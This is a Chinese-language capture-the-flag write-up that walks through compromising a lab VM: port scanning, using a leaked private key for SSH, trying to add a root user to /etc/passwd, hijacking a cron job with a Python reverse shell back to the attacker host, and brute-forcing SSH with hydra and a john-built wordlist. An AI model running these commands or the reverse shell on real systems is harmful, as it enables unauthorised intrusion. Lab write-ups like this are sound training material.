**写在前面:**记录一次不完美的打靶经历。
目录
1. 主机发现
目前只知道目标靶机在56.xx网段,通过如下的命令,看看这个网段上在线的主机。
$ nmap -sP 192.168.56.0/24
从上面输出来看,目标靶机的IP地址应该是192.168.56.106,因为kali主机的IP是192.168.56.107。
2. 端口扫描
通过如下命令进行全端口扫描。
$ sudo nmap -p- 192.168.56.106
上面列出了目标靶机上开放的端口。
3. 服务枚举
通过下面的命令,我们初步枚举一下上面开放的端口上的服务。
$ sudo nmap -p22,80,111,43993 -sV 192.168.56.106
4. 服务探查
我们先探查80端口上的web服务,然后再探查111和43993端口,最后探查22端口上的ssh服务,因为22端口上的ssh存在漏洞的概率相对小一些。
4.1 WEB服务探查
4.1.1 浏览器访问
先手工通过浏览器访问一下靶机的80端口,看看有什么收货。
从上图可以看出,这是一个简单的不能再简单的公司黄页,描述了公司的大概大概情况,主要业务,以及联系方式等。对我们来说,需要关注的信息有几项:公司名称-Secretsec,域名-secretsec.com,有三位员工-Martin/Hadi/Jimmy,其中Martin是主页上留的联系人,可能也是系统管理员。
4.1.2 目录枚举
通过下面的命令,用dirsearch进行一下web服务的目录枚举。
$ dirsearch -u http://192.168.56.106
从上面可以看出,除了站点地图robots.txt、主页index.html以及files目录之外,其它的如server-status等都是没有权限访问的(返回403)。接下来我们手工访问一下可以访问的几项内容。
4.1.2.1 files目录
先看files目录,空空如也。
4.1.2.2 icons目录
我们再看看icons下面,发现内容比较多,有txt文件,有html文件,有图片文件等等,逐个看一下。
从readme的文件中可以看出来,这个icons目录应该是服务自带的,所以可能不会有太多有价值的内容。
再来看看readme.html的内容。
没有什么有价值的信息在里面,我们继续看看VDSoyuAXiO.txt文件。
额,貌似是个私钥,先记下来,一会儿看看能不能用上。
4.1.2.2 manual目录
接下来我们看看manual目录,貌似是Apache的用户文档目录,没有实际意义。
4.1.3 公共EXP搜索
到目前为止没有发现太多有价值的内容,先搜索一下这个apache 2.4.10版本上有没有已知漏洞。
如上图所示,貌似除了一个基于HTTP的options方法的内存泄露(CVE-2017-9798),其它的都不太合适,先记下来放在一边。
4.2 rpcbind服务探查
4.2.1 搜素公共EXP
直接搜索一下公共EXP试试看。
$ searchsploit rpcbind 2
从上面来看,没有可利用的已知漏洞。
5. 主机画像
通过下面的命令,进行主机画像。
$ sudo nmap -O 192.168.56.106
参考意义不大。
6. 密钥登录
到目前为止,一点线索都没有,记得前面在80端口的web服务的VDSoyuAXiO.txt文件中发现了一个密钥,直接用这个密钥,用页面显示的martin用户尝试登录目标靶机试试看。
将VDSoyuAXiO.txt文件中的内容放入一个名为id_rsa的文件中(个人理解应该名字随意),如下图。
尝试用这个密钥进行登录。
$ ssh -i id_rsa martin@192.168.56.106
貌似不行,还是需要password,百度一下这个“no mutual signature supported”是啥意思。貌似是说SHA-1算法不安全,openssh默认已经弃用,可以通过“-o PubkeyAcceptedKeyTypes=+ssh-rsa”参数临时使用,下面试试看。
$ ssh -i id_rsa martin@192.168.56.106 -o PubkeyAcceptedKeyTypes=+ssh-rsa
secret password我随便输入了一个martin,貌似登录成功了;之后又尝试了一下,这里secret password可以留空,直接回车,也是ok的。
有点不可思议,就这么轻而易举突破边界了?
7. 提权
既然突破边界了,接下来就是提权了。
7.1 /etc/passwd文件探查
最底下三行,web主页上的三个用户赫然在列。
下面尝试向passwd文件中写入一个新的用户,除了用户名密码,其它内容都跟root用户完全一致。
martin@debian:~$ echo "testuser:$1$ZVo6x6DW$Uq5uXYRVS48LZ5R/vVku2/:0:0:root:/root:/bin/bash" >> /etc/passwd
失败了,接下来看看操作系统的详细信息吧。
7.2 枚举操作系统信息
通过下面的命令枚举一下操作系统信息,看看能不能从特定版本的漏洞进行提权吧。
martin@debian:~$ cat /etc/*-release
查看/etc/issue。
在通过uname -a查看一下试试。
查看一下系统是32位还是64位。
martin@debian:~$ getconf LONG_BIT
是32位的。
7.3 枚举未挂载的磁盘
martin@debian:~$ cat /etc/fstab
没有特别的收获。
7.4 搜索可执行文件
用下面的命令,搜索一下root用户所有的,其它用户可读可写的可执行文件。
martin@debian:~$ find / -type f -user root -perm -o=w 2>/dev/null
没有实际可用的结果,然后搜索一下带有SUID标记的二进制文件。
martin@debian:~$ find / -perm -u=s -type f 2>/dev/null
7.5 查看命令历史文件
查看一下martin的home目录下面有没有记录历史信息的临时文件。
还真有,进去看看再说。
有个login的python脚本,进去看看有没有收获。
没有实际内容,这就是我们通过martin用户登录时,提示输入密码等内容的那个脚本。接下来的.bash_logout、.bashrc、.profile中都没有我们感兴趣的内容。只剩下.ssh目录了,进去看看再说。
有点意思,又是一个密钥,进去看看内容。
感觉像是用root登录的密钥嘛,试试看能不能登录。
$ ssh -i root_key root@192.168.56.106 -o PubkeyAcceptedKeyTypes=+ssh-rsa
看来我想的太简单了。
7.6 枚举定时任务
martin@debian:~$ ls -lah /etc/cron*
直接看看/etc/crontab下面有些什么内容。
martin@debian:~$ cat /etc/crontab
看最底下一行,有个sekurity.py脚本,每5分钟执行一次。我们先尝试看看这个脚本里面都是些什么代码。
嗯,木有这个文件。这很符合靶机的尿性啊,哈哈。我们在/tmp下创建一个同名的python脚本,用于构建反弹shell的话,我们是不是可以以jimmy用户反弹回来呢?说不定在jimmy用户下深挖一下能够曲线救国。
7.6.1 构建sekurity.py
借用网上大神的代码(https://blog.csdn.net/weixin_43803070/article/details/94760376),具体内容如下。
#!/usr/bin python
import os, subprocess, socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.56.107",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
说明:os.dup2()方法用于将一个文件描述符复制到另一个,s.fileno()用来取得文件描述符。
然后在kali主机上建立监听。
等待大概5分钟不到的样子,反弹shell建立成功,当前已经进入jimmy用户的home目录。
7.7 探查jimmy用户
前面尝试提权的时候枚举的信息不少了,下面直接看看jimmy用户的历史记录信息。
下面分别看看这几个文件里面都有些啥。
貌似没有太多有用的内容。
还有一个正常的文件networker,进去看看是些啥。
乱码,也不是什么有价值的内容。到目前为止,虽然突破了边界,但是一直没有提权成功。
7.8 爆破hadi
仔细回想一下,我们之前在web主页上总共发现了三个用户,在/etc/passwd文件里面也是这三个用户,martin和jimmy我们都试过了,一无所获,只剩hadi了,爆破一下看看吧。
7.8.1 构建密码字典
到目前为止,我们知道要爆破的目标用户为hadi,公司名称是secretsec,邮箱是xxx@secretsec.com。
接下来我们将使用hadi和secretsec构建我们的原始字典,即用来创建密码字典的原始内容。这比直接使用rockyou字典命中率应该更高。
然后将使用开膛手约翰构建我们的密码字典。
7.8.2 配置john.conf
在/etc/john/john.conf文件中,修改密码生成规则,我们先生成简单的两个密码文件,一个是单词hadi(或secretsec)后面跟两个数字,另一个是hadi(或secretsec)后面跟3个数字,如果不行的话我们再想别的规则,比如引入@或者#等等。
在文件的“# Try the second half of split passwords”下面添加下图所示的内容(这是生成两个数字的情况)。
$ sudo vi /etc/john/john.conf
7.8.3 生成密码字典
修改完成后,通过下面的命令生成我们的密码字典。
$ john --wordlist=origin_word --rules --stdout > pwd_2.txt
文件内容如下所示。
用同样的方法生成带有3个数字后缀的密码字典。
$ john --wordlist=origin_word --rules --stdout > pwd_3.txt
7.8.4 实施爆破
这里,我们将使用kali自带的hydra工具和前面生成的两个密码字典对hadi用户进行爆破。
$ hydra -l hadi -P pwd_2.txt -t 2 -vV -e ns 192.168.56.106 ssh
用后缀2位数的密码,宣布爆破失败,接下来试试三位数后缀的密码试试看。
$ hydra -l hadi -P pwd_3.txt -vV -e ns 192.168.56.106 ssh
瞬间爆出来了,密码是hadi123(注意,我这次没有用-t 2参数,感觉这样更快)。
7.9 再次提权
先用hadi用户登录进去。
$ ssh hadi@192.168.56.106
然而,切换到root用户的时候,还是需要输入密码。
黔驴技穷了。
说明:其实这里的密码也是hadi123,用这个密码可以成功提权获取flag。
7.10 通过内核漏洞提权
前面枚举操作系统信息的时候,得到靶机的内核版本是3.16.0-4-586,并且debian版本是8,我们直接搜素一下公共EXP看看,是否可以找到对应的内核提权漏洞。
貌似有戏,唯一的区别是我们靶机是32位,把EXP代码下载到当前目录。
$ searchsploit -m 44302
说明:这个漏洞代码只是揭示了漏洞利用的原理,并没有真正实现提权,本人能力有限,暂时还未实现提权